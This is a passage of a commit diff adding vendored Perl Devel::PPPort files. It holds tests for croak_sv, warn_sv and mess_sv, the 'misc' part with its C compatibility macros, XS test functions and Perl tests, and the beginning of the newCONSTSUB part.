+ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1"}, 1) =~ /^\xC3\xA1 at $0 line /;
+
+if ($] ge '5.006') {
+    BEGIN { if ($] ge '5.006' && $] lt '5.008') { require utf8; utf8->import(); } }
+
+    undef $die;
+    ok !defined eval { Devel::PPPort::croak_sv("\x{100}\n") };
+    ok $@, "\x{100}\n";
+    if ($] ne '5.008') {
+        ok $die, "\x{100}\n";
+    } else {
+        skip 'skip: broken utf8 support in die hook', 0;
+    }
+
+    undef $die;
+    ok !defined eval { Devel::PPPort::croak_sv("\x{100}") };
+    ok $@ =~ /^\x{100} at $0 line /;
+    if ($] ne '5.008') {
+        ok $die =~ /^\x{100} at $0 line /;
+    } else {
+        skip 'skip: broken utf8 support in die hook', 0;
+    }
+
+    if ($] ne '5.008') {
+        undef $warn;
+        Devel::PPPort::warn_sv("\x{100}\n");
+        ok $warn, "\x{100}\n";
+
+        undef $warn;
+        Devel::PPPort::warn_sv("\x{100}");
+        ok (my $tmp = $warn) =~ /^\x{100} at $0 line /;
+    } else {
+        skip 'skip: broken utf8 support in warn hook', 0 for 1..2;
+    }
+
+    ok Devel::PPPort::mess_sv("\x{100}\n", 0), "\x{100}\n";
+    ok Devel::PPPort::mess_sv(do {my $tmp = "\x{100}\n"}, 1), "\x{100}\n";
+
+    ok Devel::PPPort::mess_sv("\x{100}", 0) =~ /^\x{100} at $0 line /;
+    ok Devel::PPPort::mess_sv(do {my $tmp = "\x{100}"}, 1) =~ /^\x{100} at $0 line /;
+} else {
+    skip 'skip: no utf8 support', 0 for 1..12;
+}
+
+if (ord('A') != 65) {
+    skip 'skip: no ASCII support', 0 for 1..24;
+} elsif ($] ge '5.008' && $] ne '5.012000') {
+    undef $die;
+    ok !defined eval { Devel::PPPort::croak_sv(eval '"\N{U+E1}\n"') };
+    ok $@, "\xE1\n";
+    ok $die, "\xE1\n";
+
+    undef $die;
+    ok !defined eval { Devel::PPPort::croak_sv(eval '"\N{U+E1}"') };
+    ok $@ =~ /^\xE1 at $0 line /;
+    ok $die =~ /^\xE1 at $0 line /;
+
+    {
+        undef $die;
+        my $expect = eval '"\N{U+C3}\N{U+A1}\n"';
+        ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1\n") };
+        ok $@, $expect;
+        ok $die, $expect;
+    }
+
+    {
+        undef $die;
+        my $expect = eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+        ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1") };
+        ok $@ =~ $expect;
+        ok $die =~ $expect;
+    }
+
+    undef $warn;
+    Devel::PPPort::warn_sv(eval '"\N{U+E1}\n"');
+    ok $warn, "\xE1\n";
+
+    undef $warn;
+    Devel::PPPort::warn_sv(eval '"\N{U+E1}"');
+    ok $warn =~ /^\xE1 at $0 line /;
+
+    undef $warn;
+    Devel::PPPort::warn_sv("\xC3\xA1\n");
+    ok $warn, eval '"\N{U+C3}\N{U+A1}\n"';
+
+    undef $warn;
+    Devel::PPPort::warn_sv("\xC3\xA1");
+    ok $warn =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+
+    ok Devel::PPPort::mess_sv(eval('"\N{U+E1}\n"'), 0), eval '"\N{U+E1}\n"';
+    ok Devel::PPPort::mess_sv(do {my $tmp = eval '"\N{U+E1}\n"'}, 1), eval '"\N{U+E1}\n"';
+
+    ok Devel::PPPort::mess_sv(eval('"\N{U+E1}"'), 0) =~ eval 'qr/^\N{U+E1} at $0 line /';
+    ok Devel::PPPort::mess_sv(do {my $tmp = eval '"\N{U+E1}"'}, 1) =~ eval 'qr/^\N{U+E1} at $0 line /';
+
+    ok Devel::PPPort::mess_sv("\xC3\xA1\n", 0), eval '"\N{U+C3}\N{U+A1}\n"';
+    ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1\n"}, 1), eval '"\N{U+C3}\N{U+A1}\n"';
+
+    ok Devel::PPPort::mess_sv("\xC3\xA1", 0) =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+    ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1"}, 1) =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+} else {
+    skip 'skip: no support for \N{U+..} syntax', 0 for 1..24;
+}
+
+if ($] ge '5.007003' or ($] ge '5.006001' and $] lt '5.007')) {
+    undef $die;
+    ok !defined eval { Devel::PPPort::croak_sv($scalar_ref) };
+    ok $@ == $scalar_ref;
+    ok $die == $scalar_ref;
+
+    undef $die;
+    ok !defined eval { Devel::PPPort::croak_sv($array_ref) };
+    ok $@ == $array_ref;
+    ok $die == $array_ref;
+
+    undef $die;
+    ok !defined eval { Devel::PPPort::croak_sv($hash_ref) };
+    ok $@ == $hash_ref;
+    ok $die == $hash_ref;
+
+    undef $die;
+    ok !defined eval { Devel::PPPort::croak_sv($obj) };
+    ok $@ == $obj;
+    ok $die == $obj;
+} else {
+    skip 'skip: no support for exceptions', 0 for 1..12;
+}
+
+ok !defined eval { Devel::PPPort::croak_no_modify() };
+ok $@ =~ /^Modification of a read-only value attempted at $0 line /;
+
+ok !defined eval { Devel::PPPort::croak_memory_wrap() };
+ok $@ =~ /^panic: memory wrap at $0 line /;
+
+ok !defined eval { Devel::PPPort::croak_xs_usage("params") };
+ok $@ =~ /^Usage: Devel::PPPort::croak_xs_usage\(params\) at $0 line /;

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/misc
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/misc	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/misc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,786 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+PERL_UNUSED_DECL
+PERL_UNUSED_ARG
+PERL_UNUSED_VAR
+PERL_UNUSED_CONTEXT
+PERL_UNUSED_RESULT
+PERL_GCC_BRACE_GROUPS_FORBIDDEN
+PERL_USE_GCC_BRACE_GROUPS
+PERLIO_FUNCS_DECL
+PERLIO_FUNCS_CAST
+NVTYPE
+INT2PTR
+PTRV
+NUM2PTR
+PERL_HASH
+PTR2IV
+PTR2UV
+PTR2NV
+PTR2ul
+START_EXTERN_C
+END_EXTERN_C
+EXTERN_C
+STMT_START
+STMT_END
+UTF8_MAXBYTES
+WIDEST_UTYPE
+XSRETURN
+HeUTF8
+C_ARRAY_LENGTH
+C_ARRAY_END
+SvRX
+SvRXOK
+cBOOL
+OpHAS_SIBLING
+OpSIBLING
+OpMORESIB_set
+OpLASTSIB_set
+OpMAYBESIB_set
+
+=implementation
+
+__UNDEFINED__ cBOOL(cbool) ((cbool) ? (bool)1 : (bool)0)
+__UNDEFINED__ OpHAS_SIBLING(o)      (cBOOL((o)->op_sibling))
+__UNDEFINED__ OpSIBLING(o)          (0 + (o)->op_sibling)
+__UNDEFINED__ OpMORESIB_set(o, sib) ((o)->op_sibling = (sib))
+__UNDEFINED__ OpLASTSIB_set(o, parent) ((o)->op_sibling = NULL)
+__UNDEFINED__ OpMAYBESIB_set(o, sib, parent) ((o)->op_sibling = (sib))
+
+#ifndef SvRX
+#if { NEED SvRX }
+
+void *
+SvRX(pTHX_ SV *rv)
+{
+	if (SvROK(rv)) {
+		SV *sv = SvRV(rv);
+		if (SvMAGICAL(sv)) {
+			MAGIC *mg = mg_find(sv, PERL_MAGIC_qr);
+			if (mg && mg->mg_obj) {
+				return mg->mg_obj;
+			}
+		}
+	}
+	return 0;
+}
+#endif
+#endif
+
+__UNDEFINED__ SvRXOK(sv) (!!SvRX(sv))
+
+#ifndef PERL_UNUSED_DECL
+#  ifdef HASATTRIBUTE
+#    if (defined(__GNUC__) && defined(__cplusplus)) || defined(__INTEL_COMPILER)
+#      define PERL_UNUSED_DECL
+#    else
+#      define PERL_UNUSED_DECL __attribute__((unused))
+#    endif
+#  else
+#    define PERL_UNUSED_DECL
+#  endif
+#endif
+
+#ifndef PERL_UNUSED_ARG
+#  if defined(lint) && defined(S_SPLINT_S) /* www.splint.org */
+#    include <note.h>
+#    define PERL_UNUSED_ARG(x) NOTE(ARGUNUSED(x))
+#  else
+#    define PERL_UNUSED_ARG(x) ((void)x)
+#  endif
+#endif
+
+#ifndef PERL_UNUSED_VAR
+#  define PERL_UNUSED_VAR(x) ((void)x)
+#endif
+
+#ifndef PERL_UNUSED_CONTEXT
+#  ifdef USE_ITHREADS
+#    define PERL_UNUSED_CONTEXT PERL_UNUSED_ARG(my_perl)
+#  else
+#    define PERL_UNUSED_CONTEXT
+#  endif
+#endif
+
+#ifndef PERL_UNUSED_RESULT
+#  if defined(__GNUC__) && defined(HASATTRIBUTE_WARN_UNUSED_RESULT)
+#    define PERL_UNUSED_RESULT(v) STMT_START { __typeof__(v) z = (v); (void)sizeof(z); } STMT_END
+#  else
+#    define PERL_UNUSED_RESULT(v) ((void)(v))
+#  endif
+#endif
+
+__UNDEFINED__  NOOP          /*EMPTY*/(void)0
+__UNDEFINED__  dNOOP         extern int /*@unused@*/ Perl___notused PERL_UNUSED_DECL
+
+#ifndef NVTYPE
+#  if defined(USE_LONG_DOUBLE) && defined(HAS_LONG_DOUBLE)
+#    define NVTYPE long double
+#  else
+#    define NVTYPE double
+#  endif
+typedef NVTYPE NV;
+#endif
+
+#ifndef INT2PTR
+#  if (IVSIZE == PTRSIZE) && (UVSIZE == PTRSIZE)
+#    define PTRV                  UV
+#    define INT2PTR(any,d)        (any)(d)
+#  else
+#    if PTRSIZE == LONGSIZE
+#      define PTRV                unsigned long
+#    else
+#      define PTRV                unsigned
+#    endif
+#    define INT2PTR(any,d)        (any)(PTRV)(d)
+#  endif
+#endif
+
+#ifndef PTR2ul
+#  if PTRSIZE == LONGSIZE
+#    define PTR2ul(p)     (unsigned long)(p)
+#  else
+#    define PTR2ul(p)     INT2PTR(unsigned long,p)
+#  endif
+#endif
+
+__UNDEFINED__  PTR2nat(p)      (PTRV)(p)
+__UNDEFINED__  NUM2PTR(any,d)  (any)PTR2nat(d)
+__UNDEFINED__  PTR2IV(p)       INT2PTR(IV,p)
+__UNDEFINED__  PTR2UV(p)       INT2PTR(UV,p)
+__UNDEFINED__  PTR2NV(p)       NUM2PTR(NV,p)
+
+#undef START_EXTERN_C
+#undef END_EXTERN_C
+#undef EXTERN_C
+#ifdef __cplusplus
+#  define START_EXTERN_C extern "C" {
+#  define END_EXTERN_C }
+#  define EXTERN_C extern "C"
+#else
+#  define START_EXTERN_C
+#  define END_EXTERN_C
+#  define EXTERN_C extern
+#endif
+
+#if defined(PERL_GCC_PEDANTIC)
+#  ifndef PERL_GCC_BRACE_GROUPS_FORBIDDEN
+#    define PERL_GCC_BRACE_GROUPS_FORBIDDEN
+#  endif
+#endif
+
+#if defined(__GNUC__) && !defined(PERL_GCC_BRACE_GROUPS_FORBIDDEN) && !defined(__cplusplus)
+#  ifndef PERL_USE_GCC_BRACE_GROUPS
+#    define PERL_USE_GCC_BRACE_GROUPS
+#  endif
+#endif
+
+#undef STMT_START
+#undef STMT_END
+#ifdef PERL_USE_GCC_BRACE_GROUPS
+#  define STMT_START    (void)( /* gcc supports ``({ STATEMENTS; })'' */
+#  define STMT_END      )
+#else
+#  if defined(VOIDFLAGS) && (VOIDFLAGS) && (defined(sun) || defined(__sun__)) && !defined(__GNUC__)
+#    define STMT_START  if (1)
+#    define STMT_END    else (void)0
+#  else
+#    define STMT_START  do
+#    define STMT_END    while (0)
+#  endif
+#endif
+
+__UNDEFINED__  boolSV(b)    ((b) ? &PL_sv_yes : &PL_sv_no)
+
+/* DEFSV appears first in 5.004_56 */
+__UNDEFINED__  DEFSV        GvSV(PL_defgv)
+__UNDEFINED__  SAVE_DEFSV   SAVESPTR(GvSV(PL_defgv))
+__UNDEFINED__  DEFSV_set(sv) (DEFSV = (sv))
+
+/* Older perls (<=5.003) lack AvFILLp */
+__UNDEFINED__  AvFILLp      AvFILL
+
+__UNDEFINED__  ERRSV        get_sv("@",FALSE)
+
+/* Hint: gv_stashpvn
+ * This function's backport doesn't support the length parameter, but
+ * rather ignores it. Portability can only be ensured if the length
+ * parameter is used for speed reasons, but the length can always be
+ * correctly computed from the string argument.
+ */
+
+__UNDEFINED__  gv_stashpvn(str,len,create)  gv_stashpv(str,create)
+
+/* Replace: 1 */
+__UNDEFINED__  get_cv          perl_get_cv
+__UNDEFINED__  get_sv          perl_get_sv
+__UNDEFINED__  get_av          perl_get_av
+__UNDEFINED__  get_hv          perl_get_hv
+/* Replace: 0 */
+
+__UNDEFINED__  dUNDERBAR       dNOOP
+__UNDEFINED__  UNDERBAR        DEFSV
+
+__UNDEFINED__  dAX             I32 ax = MARK - PL_stack_base + 1
+__UNDEFINED__  dITEMS          I32 items = SP - MARK
+
+__UNDEFINED__  dXSTARG         SV * targ = sv_newmortal()
+
+__UNDEFINED__  dAXMARK         I32 ax = POPMARK; \
+                               register SV ** const mark = PL_stack_base + ax++
+
+
+__UNDEFINED__  XSprePUSH       (sp = PL_stack_base + ax - 1)
+
+#if { VERSION < 5.005 }
+#  undef XSRETURN
+#  define XSRETURN(off)                                   \
+      STMT_START {                                        \
+          PL_stack_sp = PL_stack_base + ax + ((off) - 1); \
+          return;                                         \
+      } STMT_END
+#endif
+
+__UNDEFINED__  XSPROTO(name)   void name(pTHX_ CV* cv)
+__UNDEFINED__  SVfARG(p)       ((void*)(p))
+
+__UNDEFINED__  PERL_ABS(x)     ((x) < 0 ? -(x) : (x))
+
+__UNDEFINED__  dVAR            dNOOP
+
+__UNDEFINED__  SVf             "_"
+
+__UNDEFINED__  UTF8_MAXBYTES   UTF8_MAXLEN
+
+__UNDEFINED__  CPERLscope(x)   x
+
+__UNDEFINED__  PERL_HASH(hash,str,len) \
+     STMT_START { \
+        const char *s_PeRlHaSh = str; \
+        I32 i_PeRlHaSh = len; \
+        U32 hash_PeRlHaSh = 0; \
+        while (i_PeRlHaSh--) \
+            hash_PeRlHaSh = hash_PeRlHaSh * 33 + *s_PeRlHaSh++; \
+        (hash) = hash_PeRlHaSh; \
+    } STMT_END
+
+#ifndef PERLIO_FUNCS_DECL
+# ifdef PERLIO_FUNCS_CONST
+#  define PERLIO_FUNCS_DECL(funcs) const PerlIO_funcs funcs
+#  define PERLIO_FUNCS_CAST(funcs) (PerlIO_funcs*)(funcs)
+# else
+#  define PERLIO_FUNCS_DECL(funcs) PerlIO_funcs funcs
+#  define PERLIO_FUNCS_CAST(funcs) (funcs)
+# endif
+#endif
+
+/* provide these typedefs for older perls */
+#if { VERSION < 5.9.3 }
+
+# ifdef ARGSproto
+typedef OP* (CPERLscope(*Perl_ppaddr_t))(ARGSproto);
+# else
+typedef OP* (CPERLscope(*Perl_ppaddr_t))(pTHX);
+# endif
+
+typedef OP* (CPERLscope(*Perl_check_t)) (pTHX_ OP*);
+
+#endif
+
+__UNDEFINED__ isPSXSPC(c)       (isSPACE(c) || (c) == '\v')
+__UNDEFINED__ isBLANK(c)        ((c) == ' ' || (c) == '\t')
+#ifdef EBCDIC
+__UNDEFINED__ isALNUMC(c)       isalnum(c)
+__UNDEFINED__ isASCII(c)        isascii(c)
+__UNDEFINED__ isCNTRL(c)        iscntrl(c)
+__UNDEFINED__ isGRAPH(c)        isgraph(c)
+__UNDEFINED__ isPRINT(c)        isprint(c)
+__UNDEFINED__ isPUNCT(c)        ispunct(c)
+__UNDEFINED__ isXDIGIT(c)       isxdigit(c)
+#else
+# if { VERSION < 5.10.0 }
+/* Hint: isPRINT
+ * The implementation in older perl versions includes all of the
+ * isSPACE() characters, which is wrong. The version provided by
+ * Devel::PPPort always overrides a present buggy version.
+ */
+#  undef isPRINT
+# endif
+
+#ifndef WIDEST_UTYPE
+# ifdef QUADKIND
+#  ifdef U64TYPE
+#   define WIDEST_UTYPE U64TYPE
+#  else
+#   define WIDEST_UTYPE Quad_t
+#  endif
+# else
+#  define WIDEST_UTYPE U32
+# endif
+#endif
+
+__UNDEFINED__ isALNUMC(c)       (isALPHA(c) || isDIGIT(c))
+__UNDEFINED__ isASCII(c)        ((WIDEST_UTYPE) (c) <= 127)
+__UNDEFINED__ isCNTRL(c)        ((WIDEST_UTYPE) (c) < ' ' || (c) == 127)
+__UNDEFINED__ isGRAPH(c)        (isALNUM(c) || isPUNCT(c))
+__UNDEFINED__ isPRINT(c)        (((c) >= 32 && (c) < 127))
+__UNDEFINED__ isPUNCT(c)        (((c) >= 33 && (c) <= 47) || ((c) >= 58 && (c) <= 64)  || ((c) >= 91 && (c) <= 96) || ((c) >= 123 && (c) <= 126))
+__UNDEFINED__ isXDIGIT(c)       (isDIGIT(c) || ((c) >= 'a' && (c) <= 'f') || ((c) >= 'A' && (c) <= 'F'))
+#endif
+
+/* Until we figure out how to support this in older perls... */
+#if { VERSION >= 5.8.0 }
+
+__UNDEFINED__ HeUTF8(he)        ((HeKLEN(he) == HEf_SVKEY) ?            \
+                                 SvUTF8(HeKEY_sv(he)) :                 \
+                                 (U32)HeKUTF8(he))
+
+#endif
+
+__UNDEFINED__ C_ARRAY_LENGTH(a)		(sizeof(a)/sizeof((a)[0]))
+__UNDEFINED__ C_ARRAY_END(a)		((a) + C_ARRAY_LENGTH(a))
+
+=xsmisc
+
+typedef XSPROTO(XSPROTO_test_t);
+typedef XSPROTO_test_t *XSPROTO_test_t_ptr;
+
+XS(XS_Devel__PPPort_dXSTARG);  /* prototype */
+XS(XS_Devel__PPPort_dXSTARG)
+{
+  dXSARGS;
+  dXSTARG;
+  IV iv;
+
+  PERL_UNUSED_VAR(cv);
+  SP -= items;
+  iv = SvIV(ST(0)) + 1;
+  PUSHi(iv);
+  XSRETURN(1);
+}
+
+XS(XS_Devel__PPPort_dAXMARK);  /* prototype */
+XS(XS_Devel__PPPort_dAXMARK)
+{
+  dSP;
+  dAXMARK;
+  dITEMS;
+  IV iv;
+
+  PERL_UNUSED_VAR(cv);
+  SP -= items;
+  iv = SvIV(ST(0)) - 1;
+  mPUSHi(iv);
+  XSRETURN(1);
+}
+
+=xsinit
+
+#define NEED_SvRX
+
+=xsboot
+
+{
+  XSPROTO_test_t_ptr p = &XS_Devel__PPPort_dXSTARG;
+  newXS("Devel::PPPort::dXSTARG", *p, file);
+}
+newXS("Devel::PPPort::dAXMARK", XS_Devel__PPPort_dAXMARK, file);
+
+=xsubs
+
+int
+OpSIBLING_tests()
+	PREINIT:
+		OP *x;
+		OP *kid;
+		OP *lastkid;
+		int count = 0;
+		int failures = 0;
+		int i;
+	CODE:
+		x = newOP(OP_PUSHMARK, 0);
+
+		/* No siblings yet! */
+		if (OpHAS_SIBLING(x) || OpSIBLING(x)) {
+			failures++; warn("Op should not have had a sib");
+		}
+
+
+		/* Add 2 siblings */
+		kid = x;
+
+		for (i = 0; i < 2; i++) {
+			OP *newsib = newOP(OP_PUSHMARK, 0);
+			OpMORESIB_set(kid, newsib);
+
+			kid = OpSIBLING(kid);
+			lastkid = kid;
+		}
+
+		/* Should now have a sibling */
+		if (! OpHAS_SIBLING(x) || ! OpSIBLING(x) ) {
+			failures++; warn("Op should have had a sib after moresib_set");
+		}
+
+		/* Count the siblings */
+		for (kid = OpSIBLING(x); kid; kid = OpSIBLING(kid)) {
+			count++;
+		}
+
+		if (count != 2) {
+			failures++; warn("Kid had %d sibs, expected 2", count);
+		}
+
+		if (OpHAS_SIBLING(lastkid) || OpSIBLING(lastkid)) {
+			failures++; warn("Last kid should not have a sib");
+		}
+
+		/* Really sets the parent, and says 'no more siblings' */
+		OpLASTSIB_set(x, lastkid);
+
+		if (OpHAS_SIBLING(x) || OpSIBLING(x)) {
+			failures++; warn("OpLASTSIB_set failed?");
+		}
+
+		/* Restore the kid */
+		OpMORESIB_set(x, lastkid);
+
+		/* Try to remove it again */
+		OpLASTSIB_set(x, NULL);
+
+		if (OpHAS_SIBLING(x) || OpSIBLING(x)) {
+			failures++; warn("OpLASTSIB_set with NULL failed?");
+		}
+
+		/* Try to restore with maybesib_set */
+		OpMAYBESIB_set(x, lastkid, NULL);
+
+		if (! OpHAS_SIBLING(x) || ! OpSIBLING(x) ) {
+			failures++; warn("Op should have had a sib after maybesibset");
+		}
+
+		RETVAL = failures;
+	OUTPUT:
+		RETVAL
+
+int
+SvRXOK(sv)
+	SV *sv
+	CODE:
+		RETVAL = SvRXOK(sv);
+	OUTPUT:
+		RETVAL
+
+int
+ptrtests()
+        PREINIT:
+                int var, *p = &var;
+
+        CODE:
+                RETVAL = 0;
+                RETVAL += PTR2nat(p) != 0       ?  1 : 0;
+                RETVAL += PTR2ul(p) != 0UL      ?  2 : 0;
+                RETVAL += PTR2UV(p) != (UV) 0   ?  4 : 0;
+                RETVAL += PTR2IV(p) != (IV) 0   ?  8 : 0;
+                RETVAL += PTR2NV(p) != (NV) 0   ? 16 : 0;
+                RETVAL += p > NUM2PTR(int *, 0) ? 32 : 0;
+
+        OUTPUT:
+                RETVAL
+
+int
+gv_stashpvn(name, create)
+        char *name
+        I32 create
+        CODE:
+                RETVAL = gv_stashpvn(name, strlen(name), create) != NULL;
+        OUTPUT:
+                RETVAL
+
+int
+get_sv(name, create)
+        char *name
+        I32 create
+        CODE:
+                RETVAL = get_sv(name, create) != NULL;
+        OUTPUT:
+                RETVAL
+
+int
+get_av(name, create)
+        char *name
+        I32 create
+        CODE:
+                RETVAL = get_av(name, create) != NULL;
+        OUTPUT:
+                RETVAL
+
+int
+get_hv(name, create)
+        char *name
+        I32 create
+        CODE:
+                RETVAL = get_hv(name, create) != NULL;
+        OUTPUT:
+                RETVAL
+
+int
+get_cv(name, create)
+        char *name
+        I32 create
+        CODE:
+                RETVAL = get_cv(name, create) != NULL;
+        OUTPUT:
+                RETVAL
+
+void
+xsreturn(two)
+        int two
+        PPCODE:
+                mXPUSHp("test1", 5);
+                if (two)
+                  mXPUSHp("test2", 5);
+                if (two)
+                  XSRETURN(2);
+                else
+                  XSRETURN(1);
+
+SV*
+boolSV(value)
+        int value
+        CODE:
+                RETVAL = newSVsv(boolSV(value));
+        OUTPUT:
+                RETVAL
+
+SV*
+DEFSV()
+        CODE:
+                RETVAL = newSVsv(DEFSV);
+        OUTPUT:
+                RETVAL
+
+void
+DEFSV_modify()
+        PPCODE:
+                XPUSHs(sv_mortalcopy(DEFSV));
+                ENTER;
+                SAVE_DEFSV;
+                DEFSV_set(newSVpvs("DEFSV"));
+                XPUSHs(sv_mortalcopy(DEFSV));
+                /* Yes, this leaks the above scalar; 5.005 with threads for some reason */
+                /* frees it upon LEAVE, thus mortalizing it causes "attempt to free..." */
+                /* sv_2mortal(DEFSV); */
+                LEAVE;
+                XPUSHs(sv_mortalcopy(DEFSV));
+                XSRETURN(3);
+
+int
+ERRSV()
+        CODE:
+                RETVAL = SvTRUE(ERRSV);
+        OUTPUT:
+                RETVAL
+
+SV*
+UNDERBAR()
+        CODE:
+                {
+                  dUNDERBAR;
+                  RETVAL = newSVsv(UNDERBAR);
+                }
+        OUTPUT:
+                RETVAL
+
+void
+prepush()
+        CODE:
+                {
+                  dXSTARG;
+                  XSprePUSH;
+                  PUSHi(42);
+                  XSRETURN(1);
+                }
+
+int
+PERL_ABS(a)
+        int a
+
+void
+SVf(x)
+        SV *x
+        PPCODE:
+#if { VERSION >= 5.004 }
+                x = sv_2mortal(newSVpvf("[%" SVf "]", SVfARG(x)));
+#endif
+                XPUSHs(x);
+                XSRETURN(1);
+
+void
+Perl_ppaddr_t(string)
+        char *string
+        PREINIT:
+                Perl_ppaddr_t lower;
+        PPCODE:
+                lower = PL_ppaddr[OP_LC];
+                mXPUSHs(newSVpv(string, 0));
+                PUTBACK;
+                ENTER;
+                (void)*(lower)(aTHXR);
+                SPAGAIN;
+                LEAVE;
+                XSRETURN(1);
+
+#if { VERSION >= 5.8.0 }
+
+void
+check_HeUTF8(utf8_key)
+        SV *utf8_key;
+        PREINIT:
+                HV *hash;
+                HE *ent;
+                STRLEN klen;
+                char *key;
+        PPCODE:
+                hash = newHV();
+
+                key = SvPV(utf8_key, klen);
+                if (SvUTF8(utf8_key)) klen *= -1;
+                hv_store(hash, key, klen, newSVpvs("string"), 0);
+                hv_iterinit(hash);
+                ent = hv_iternext(hash);
+                assert(ent);
+                mXPUSHp((HeUTF8(ent) == 0 ? "norm" : "utf8"), 4);
+                hv_undef(hash);
+
+
+#endif
+
+void
+check_c_array()
+        PREINIT:
+                int x[] = { 10, 11, 12, 13 };
+        PPCODE:
+                mXPUSHi(C_ARRAY_LENGTH(x));  /* 4 */
+                mXPUSHi(*(C_ARRAY_END(x)-1)); /* 13 */
+
+=tests plan => 48
+
+use vars qw($my_sv @my_av %my_hv);
+
+ok(&Devel::PPPort::boolSV(1));
+ok(!&Devel::PPPort::boolSV(0));
+
+$_ = "Fred";
+ok(&Devel::PPPort::DEFSV(), "Fred");
+ok(&Devel::PPPort::UNDERBAR(), "Fred");
+
+if ($] >= 5.009002 && $] < 5.023 && $] < 5.023004) {
+  eval q{
+    no warnings "deprecated";
+    no if $^V > v5.17.9, warnings => "experimental::lexical_topic";
+    my $_ = "Tony";
+    ok(&Devel::PPPort::DEFSV(), "Fred");
+    ok(&Devel::PPPort::UNDERBAR(), "Tony");
+  };
+}
+else {
+  ok(1);
+  ok(1);
+}
+
+my @r = &Devel::PPPort::DEFSV_modify();
+
+ok(@r == 3);
+ok($r[0], 'Fred');
+ok($r[1], 'DEFSV');
+ok($r[2], 'Fred');
+
+ok(&Devel::PPPort::DEFSV(), "Fred");
+
+eval { 1 };
+ok(!&Devel::PPPort::ERRSV());
+eval { cannot_call_this_one() };
+ok(&Devel::PPPort::ERRSV());
+
+ok(&Devel::PPPort::gv_stashpvn('Devel::PPPort', 0));
+ok(!&Devel::PPPort::gv_stashpvn('does::not::exist', 0));
+ok(&Devel::PPPort::gv_stashpvn('does::not::exist', 1));
+
+$my_sv = 1;
+ok(&Devel::PPPort::get_sv('my_sv', 0));
+ok(!&Devel::PPPort::get_sv('not_my_sv', 0));
+ok(&Devel::PPPort::get_sv('not_my_sv', 1));
+
+ at my_av = (1);
+ok(&Devel::PPPort::get_av('my_av', 0));
+ok(!&Devel::PPPort::get_av('not_my_av', 0));
+ok(&Devel::PPPort::get_av('not_my_av', 1));
+
+%my_hv = (a=>1);
+ok(&Devel::PPPort::get_hv('my_hv', 0));
+ok(!&Devel::PPPort::get_hv('not_my_hv', 0));
+ok(&Devel::PPPort::get_hv('not_my_hv', 1));
+
+sub my_cv { 1 };
+ok(&Devel::PPPort::get_cv('my_cv', 0));
+ok(!&Devel::PPPort::get_cv('not_my_cv', 0));
+ok(&Devel::PPPort::get_cv('not_my_cv', 1));
+
+ok(Devel::PPPort::dXSTARG(42), 43);
+ok(Devel::PPPort::dAXMARK(4711), 4710);
+
+ok(Devel::PPPort::prepush(), 42);
+
+ok(join(':', Devel::PPPort::xsreturn(0)), 'test1');
+ok(join(':', Devel::PPPort::xsreturn(1)), 'test1:test2');
+
+ok(Devel::PPPort::PERL_ABS(42), 42);
+ok(Devel::PPPort::PERL_ABS(-13), 13);
+
+ok(Devel::PPPort::SVf(42), $] >= 5.004 ? '[42]' : '42');
+ok(Devel::PPPort::SVf('abc'), $] >= 5.004 ? '[abc]' : 'abc');
+
+ok(&Devel::PPPort::Perl_ppaddr_t("FOO"), "foo");
+
+ok(&Devel::PPPort::ptrtests(), 63);
+
+ok(&Devel::PPPort::OpSIBLING_tests(), 0);
+
+if ($] >= 5.009000) {
+  eval q{
+    ok(&Devel::PPPort::check_HeUTF8("hello"), "norm");
+    ok(&Devel::PPPort::check_HeUTF8("\N{U+263a}"), "utf8");
+  };
+} else {
+  ok(1, 1);
+  ok(1, 1);
+}
+
+ at r = &Devel::PPPort::check_c_array();
+ok($r[0], 4);
+ok($r[1], "13");
+
+ok(!Devel::PPPort::SvRXOK(""));
+ok(!Devel::PPPort::SvRXOK(bless [], "Regexp"));
+
+if ($] < 5.005) {
+        skip 'no qr// objects in this perl', 0;
+        skip 'no qr// objects in this perl', 0;
+} else {
+        my $qr = eval 'qr/./';
+        ok(Devel::PPPort::SvRXOK($qr));
+        ok(Devel::PPPort::SvRXOK(bless $qr, "Surprise"));
+}

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/newCONSTSUB
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/newCONSTSUB	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/newCONSTSUB	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,104 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+newCONSTSUB
+
+=implementation
+
+/* Hint: newCONSTSUB
+ * Returns a CV* as of perl-5.7.1. This return value is not supported
+ * by Devel::PPPort.
+ */
+
+/* newCONSTSUB from IO.xs is in the core starting with 5.004_63 */
+#if { VERSION < 5.004_63 } && { VERSION != 5.004_05 }
+#if { NEED newCONSTSUB }
+
+/* This is just a trick to avoid a dependency of newCONSTSUB on PL_parser */
+/* (There's no PL_parser in perl < 5.005, so this is completely safe)     */
+#define D_PPP_PL_copline PL_copline
+
+void
+newCONSTSUB(HV *stash, const char *name, SV *sv)
+{
+        U32 oldhints = PL_hints;
